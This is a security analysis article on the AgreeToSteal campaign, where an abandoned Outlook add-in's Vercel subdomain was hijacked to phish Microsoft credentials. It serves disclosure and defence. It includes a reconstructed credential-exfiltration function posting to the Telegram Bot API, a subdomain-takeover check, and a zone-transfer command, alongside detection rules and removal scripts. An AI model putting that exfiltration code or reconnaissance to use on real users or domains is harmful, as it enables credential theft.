AgreeToSteal: a malicious Outlook add-in steals 4,000 credentials via supply chain attack

On February 12, 2026, researchers at Koi Security disclosed an unprecedented attack against the Microsoft ecosystem: the first malicious Outlook add-in ever detected on the Microsoft Office Store. Dubbed AgreeToSteal, this campaign hijacked an abandoned calendar add-in to deploy a phishing page directly inside victims' Outlook interface. The result: more than 4,000 Microsoft credentials stolen, along with credit card numbers, CVVs and answers to banking security questions.

The attack stands out for its conceptual sophistication. It relies neither on classic malware nor on a traditional phishing email. It exploits a fundamental blind spot in Microsoft's add-in validation process: once the manifest is signed and approved, no one checks what the referenced URL actually serves to users. A formidable ClawHub supply chain vector, silent and particularly hard to detect.

AgreeTo: from legitimate add-in to credential-stealing weapon

To understand the attack, you first need to understand what AgreeTo originally was. It was a legitimate productivity tool, published on the Microsoft Office Store in December 2022. Its purpose: connect multiple calendars in one place and share your availability by email directly from Outlook. A classic, useful use case that attracted a real user base.

The add-in worked through a standard architecture for Office extensions: an XML manifest submitted to Microsoft, defining the required permissions and pointing to a URL hosted by the developer. In AgreeTo's case, that URL was a Vercel subdomain: outlook-one.vercel[.]app.

The trouble began when the developer abandoned the project sometime in 2023. The last update to the associated Chrome extension dates back to May 2023. In July 2024, users started reporting that the main domain agreeto.app had expired. The Outlook add-in, however, remained listed on the Microsoft Store with its manifest still signed and valid.

The XML manifest: the key to the attack

Office add-ins work as XML manifests that tell Outlook to load a specific URL inside an iframe. Microsoft reviews and signs the manifest at initial submission, but never checks what the referenced URL serves afterward. That is exactly the blind spot that was exploited.

Here is the simplified structure of an Outlook add-in manifest:

<!-- Simplified structure of an Office add-in manifest -->
<OfficeApp>
  <Id>WA200004949</Id>
  <Version>1.0.0</Version>
  <DisplayName DefaultValue="AgreeTo" />
  <Description DefaultValue="Connect calendars and share availability" />

  <!-- Permissions granted by Microsoft during validation -->
  <Permissions>ReadWriteItem</Permissions>

  <!-- URL loaded inside the Outlook iframe -->
  <SourceLocation DefaultValue="https://outlook-one.vercel.app/" />
</OfficeApp>

The manifest declares the ReadWriteItem permission, which allows the add-in to read and modify the user's emails. This permission was legitimate for a meeting-scheduling tool. But in an attacker's hands it opens up possibilities far more dangerous than simple phishing.

Vercel subdomain takeover: the attack vector

The technique used is a subdomain takeover, an increasingly common supply chain attack. When the AgreeTo developer deleted their Vercel project, the subdomain outlook-one.vercel[.]app became available again. Anyone could claim it.

An attacker did. By deploying a new project on Vercel with that same subdomain, they instantly took control of what every existing AgreeTo add-in user saw in their Outlook side panel. With no change to the signed manifest, no interaction with Microsoft, and no security alert whatsoever.

That is the terrifying beauty of this attack: the Microsoft manifest stays valid and signed, because it never changed. Only the content served by the URL was modified, and Microsoft does not verify that content after the initial validation.

# How a Vercel subdomain takeover works
# 1. The original developer creates the project
#    outlook-one.vercel.app -> Legitimate AgreeTo application

# 2. The developer abandons and deletes the project
#    outlook-one.vercel.app -> 404 (subdomain now available)

# 3. The attacker deploys a new project with the same name
#    outlook-one.vercel.app -> Phishing kit

# 4. The Microsoft-signed manifest still points to
#    outlook-one.vercel.app, which now serves the phishing page

# Check whether a Vercel subdomain is claimable
curl -I https://outlook-one.vercel.app
# If HTTP 404 with Vercel headers -> potentially claimable

This attack vector is not new in itself. Subdomain takeovers on platforms like Vercel, Netlify, Heroku or Azure have been documented for years. But this is the first time it has been exploited in the context of a Microsoft Office add-in, which gives it a considerably higher impact: the attack runs directly inside Outlook's trusted interface.

The phishing kit: anatomy of a four-step attack

The attacker deployed a four-page phishing kit, designed to be as believable as possible in the context of an Outlook side panel:

Step 1: fake Microsoft sign-in page

When the user opens the add-in in Outlook, they see a perfectly imitated Microsoft sign-in page in the side panel. The context makes this page extremely believable: the user is already inside Outlook, a Microsoft application, and it is common for an add-in to request additional authentication.

Step 2: password collection

After entering their email address, the user is redirected to a second page that collects their password. The design faithfully reproduces the Microsoft interface, with the same fonts, colors and layout.

Step 3: exfiltration via the Telegram Bot API

Once the credentials are entered, a JavaScript function silently sends the data to the attacker via the Telegram Bot API. This exfiltration method is particularly clever: Telegram is a legitimate service, rarely blocked by corporate firewalls, and API calls to api.telegram.org blend into normal network traffic.

// Simplified principle of the exfiltration (reconstructed)
// The attacker uses a simple fetch() to the Telegram API
async function exfiltrate(email, password) {
    const botToken = 'ATTACKER_BOT_TOKEN';
    const chatId = 'ATTACKER_CHAT_ID';

    // Collect the victim's IP
    const ipData = await fetch('https://api.ipify.org?format=json')
        .then(r => r.json());

    // Send to Telegram
    const message = `Email: ${email}\nPass: ${password}\nIP: ${ipData.ip}`;
    await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
            chat_id: chatId,
            text: message
        })
    });
}

Step 4: seamless redirect

After exfiltration, a loading spinner briefly appears, then the user is redirected to the real Microsoft sign-in page (login.microsoftonline.com). The victim simply assumes they need to authenticate a second time, a common behavior with Microsoft services. They suspect nothing.

The scale of the damage: 4,000+ credentials and banking data

Koi Security researchers managed to access the Telegram channel used for exfiltration. The toll is heavy: more than 4,000 Microsoft credentials stolen, with new victims compromised every hour at the time of discovery.

But the damage does not stop at passwords. The attacker was running at least 12 distinct phishing kits targeting different brands, and the collected data included:

• Microsoft credentials: email + password for more than 4,000 accounts
• Credit card numbers: with CVV and expiration dates
• Answers to banking security questions: PINs, maiden names, etc.
• Payment interception data: information enabling the interception of Interac transfers
• Victims' IP addresses: enabling geolocation

The ReadWriteItem permission granted to the add-in opens up an even more worrying scenario. The attacker chose to deploy a simple phishing kit, but they could have leveraged this permission to silently read the contents of every victim's emails, modify messages in transit, or exfiltrate sensitive attachments, all without the victim ever seeing a phishing page.

Why this attack flew under the radar

AgreeToSteal illustrates a nightmare scenario for security teams, because no classic layer of defense could detect it:

• Secure email gateways (SEG): the phishing did not travel by email; it was displayed directly in the Outlook interface through the add-in's iframe
• Endpoint protection (EDR): the malicious code ran as JavaScript inside a legitimate Outlook process, not via a suspicious executable
• URL filtering: the vercel.app domain is a trusted domain used massively by legitimate developers, rarely blocked
• Microsoft Store: the add-in was still listed as legitimate with a valid signed manifest
• Users: the phishing page appeared in a trusted context (the Outlook side panel), making the usual warning signs invisible

It is the combination of these factors that makes supply chain attacks so dangerous. We find the same pattern as in the ClawHub and malicious skills case: a trusted component is compromised, and the entire downstream security chain collapses.

Detecting and removing compromised add-ins

If you administer a Microsoft 365 environment, here are the commands to audit and remove suspicious Outlook add-ins:

Audit via PowerShell (Microsoft 365 administrators)

# Connect to the Exchange Online module
Connect-ExchangeOnline -UserPrincipalName [email protected]

# List all add-ins installed for a user
Get-App -Mailbox [email protected] | Format-Table DisplayName, AppId, Enabled

# Specifically look for the AgreeTo add-in (ID: WA200004949)
Get-App -Mailbox [email protected] | Where-Object {
    $_.DisplayName -like "*AgreeTo*" -or $_.AppId -eq "WA200004949"
}

# Remove the compromised add-in for a single user
Remove-App -Mailbox [email protected] -Identity "WA200004949" -Confirm:$false

# Remove the add-in for ALL users in the organization
Get-Mailbox -ResultSize Unlimited | ForEach-Object {
    $apps = Get-App -Mailbox $_.UserPrincipalName -ErrorAction SilentlyContinue
    $malicious = $apps | Where-Object { $_.AppId -eq "WA200004949" }
    if ($malicious) {
        Remove-App -Mailbox $_.UserPrincipalName -Identity $malicious.Identity -Confirm:$false
        Write-Host "Removed for: $($_.UserPrincipalName)"
    }
}

Network audit: detecting Telegram exfiltration

# Look for connections to the Telegram API in proxy logs
grep -rE "api\.telegram\.org/bot" /var/log/proxy/ /var/log/squid/

# Check DNS resolutions to Telegram
grep -rE "telegram\.org" /var/log/dns/query.log

# On a pfSense/OPNsense firewall, block Telegram exfiltration
# Create a rule blocking api.telegram.org outbound
# or filter the /bot[0-9]+:/ pattern in URLs

# Wireshark/tcpdump analysis to detect Telegram API calls
tcpdump -i eth0 -A host api.telegram.org 2>/dev/null | \
    grep -E "sendMessage|bot[0-9]+"

User-side verification

# In Outlook Desktop:
# File > Manage Add-ins > My add-ins
# Look for "AgreeTo" and remove it

# In Outlook Web (OWA):
# Settings (gear) > View all Outlook settings
# > Mail > Customize actions > Add-ins
# Remove any unknown or unused add-in

# Review recent sign-ins to the Microsoft account
# https://account.microsoft.com/security
# > Recent sign-in activity
# Look for sign-ins from unknown locations

Protecting yourself: hardening add-in management

Beyond removing AgreeTo, this attack calls for a review of the add-in management policy in any organization using Microsoft 365.

1. Restrict add-in installation

# Disable add-in installation by users
# in the Microsoft 365 admin center
# Settings > Services > Integrated apps

# Via PowerShell: add-in management policy
Set-OrganizationConfig -AppsForOfficeEnabled $false

# Alternative: only allow admin-approved add-ins
# Exchange admin center > Organization > Add-ins
# Set "User-specified" to "Disabled"

2. Regularly audit deployed add-ins

# Weekly add-in audit script
$allMailboxes = Get-Mailbox -ResultSize Unlimited
$report = @()

foreach ($mbx in $allMailboxes) {
    $apps = Get-App -Mailbox $mbx.UserPrincipalName -ErrorAction SilentlyContinue
    foreach ($app in $apps) {
        $report += [PSCustomObject]@{
            User       = $mbx.UserPrincipalName
            AddIn      = $app.DisplayName
            AppId      = $app.AppId
            Enabled    = $app.Enabled
            Version    = $app.AppVersion
        }
    }
}

# Export the report
$report | Export-Csv -Path "C:\audit\outlook-addins-$(Get-Date -Format yyyyMMdd).csv" -NoTypeInformation

# Look for add-ins with suspicious URLs
$report | Where-Object { $_.AddIn -notmatch "Microsoft|Office" } |
    Sort-Object AddIn | Format-Table -AutoSize

3. Monitor outbound network traffic

Network filtering solutions should be configured to detect exfiltration through legitimate messaging services such as Telegram, Discord or Slack. These channels are increasingly used as C2 infrastructure by attackers. To set up a robust network firewall on your servers, see the UFW and Fail2ban tutorials, which cover the basics of network filtering.

The structural problem: Microsoft and add-in validation

AgreeToSteal highlights a fundamental design flaw in the Office add-in validation process. Microsoft reviews the manifest at initial submission, but never monitors what the referenced URL serves to users afterward. It is as if a customs officer inspected a package once, then allowed the same sender to ship anything, indefinitely.

The gaps identified are numerous:

• No continuous content monitoring: once the manifest is signed, the content served by the URL is never checked again
• No abandonment detection: Microsoft does not monitor add-ins whose domains expire or become unavailable
• No Content Security Policy: add-ins can load arbitrary JavaScript and make requests to any external domain
• No user warning: nothing tells the user that the add-in has not been updated in years or that its developer has abandoned it

Microsoft pulled the add-in from the Store on February 12, 2026 following Koi Security's report, but did not communicate any structural measures to prevent this type of attack in the future. This kind of structural flaw echoes the security challenges found in other extension ecosystems, such as AI agent security, where the trust placed in third-party components can turn against users.

Supply chain lessons: beyond Outlook

This attack is part of a broader trend of software supply chain exploitation. The pattern is always the same: a legitimate component is abandoned by its developer, and an attacker takes control of it to target the existing user base.

Subdomain takeover vectors are not limited to Vercel. Here are the platforms most frequently affected:

# Platforms vulnerable to subdomain takeover
# after a project is deleted:
#
# Vercel      : *.vercel.app
# Netlify     : *.netlify.app
# Heroku      : *.herokuapp.com (service discontinued)
# GitHub Pages: *.github.io (dangling CNAME)
# Azure       : *.azurewebsites.net
# AWS S3      : *.s3.amazonaws.com (deleted bucket)

# Detection tools: subjack, can-i-take-over-xyz
# Check your own DNS records
dig +short CNAME your-subdomain.yourdomain.com
# If the CNAME points to a deleted service -> vulnerable

# Scan your DNS to detect dangling CNAMEs
# Export all DNS records
dig axfr yourdomain.com @ns1.yourdns.com | grep CNAME

For organizations, the lesson is clear: security does not stop at the initial validation of a component. Add-ins, extensions, plugins and libraries must be monitored continuously, and those that are no longer maintained must be removed proactively. A robust server security policy, as detailed in the Linux server security checklist, must include regular auditing of all third-party components.

Indicators of compromise (IOC)

For SOC teams and security analysts, here are the IOCs associated with the AgreeToSteal campaign:

# IOC - AgreeToSteal campaign
# =============================

# Compromised add-in
# Name: AgreeTo
# Microsoft Store ID: WA200004949
# Last legitimate update: December 2022

# Phishing infrastructure
# Domain: outlook-one.vercel[.]app (ACTIVE at the time of discovery)
# Hosting: Vercel
# Abandoned domain: agreeto[.]app (expired)

# Exfiltration
# Channel: Telegram Bot API
# Endpoint: api.telegram.org/bot[TOKEN]/sendMessage

# Collected data
# - Microsoft credentials (email + password)
# - Victims' IP addresses
# - Credit card numbers + CVV
# - Answers to banking security questions

# Simplified YARA rule to detect the pattern
# rule AgreeToSteal_Phishing {
#     strings:
#         $telegram = "api.telegram.org/bot"
#         $ms_login = "login.microsoftonline.com"
#         $agreeto  = "WA200004949"
#     condition:
#         any of them
# }

Conclusion

AgreeToSteal marks a turning point in the security of the Microsoft Office ecosystem. For the first time, an Outlook add-in from the official Microsoft Store was hijacked to steal credentials at scale. The attack exploits a structural blind spot: Microsoft validates manifests only once, but the dynamic content served by add-in URLs is never re-checked.

Key takeaways for administrators and users:

• Immediately remove any AgreeTo add-in (ID WA200004949) and change the associated passwords
• Restrict add-in installation to components approved by IT administration only
• Regularly audit the add-ins deployed across the organization via PowerShell
• Monitor network traffic to messaging APIs (Telegram, Discord) used as exfiltration channels
• Proactively remove add-ins whose developers have abandoned maintenance

More broadly, this case is a reminder that trust in an extension ecosystem rests on continuous monitoring, not on a one-time validation. Supply chain attacks target precisely the abandoned links in the chain, the ones everyone has forgotten but that still hold privileged access to user data. The next victim may not be an Outlook add-in, but a Slack plugin, a VS Code extension or an npm module that no one maintains anymore.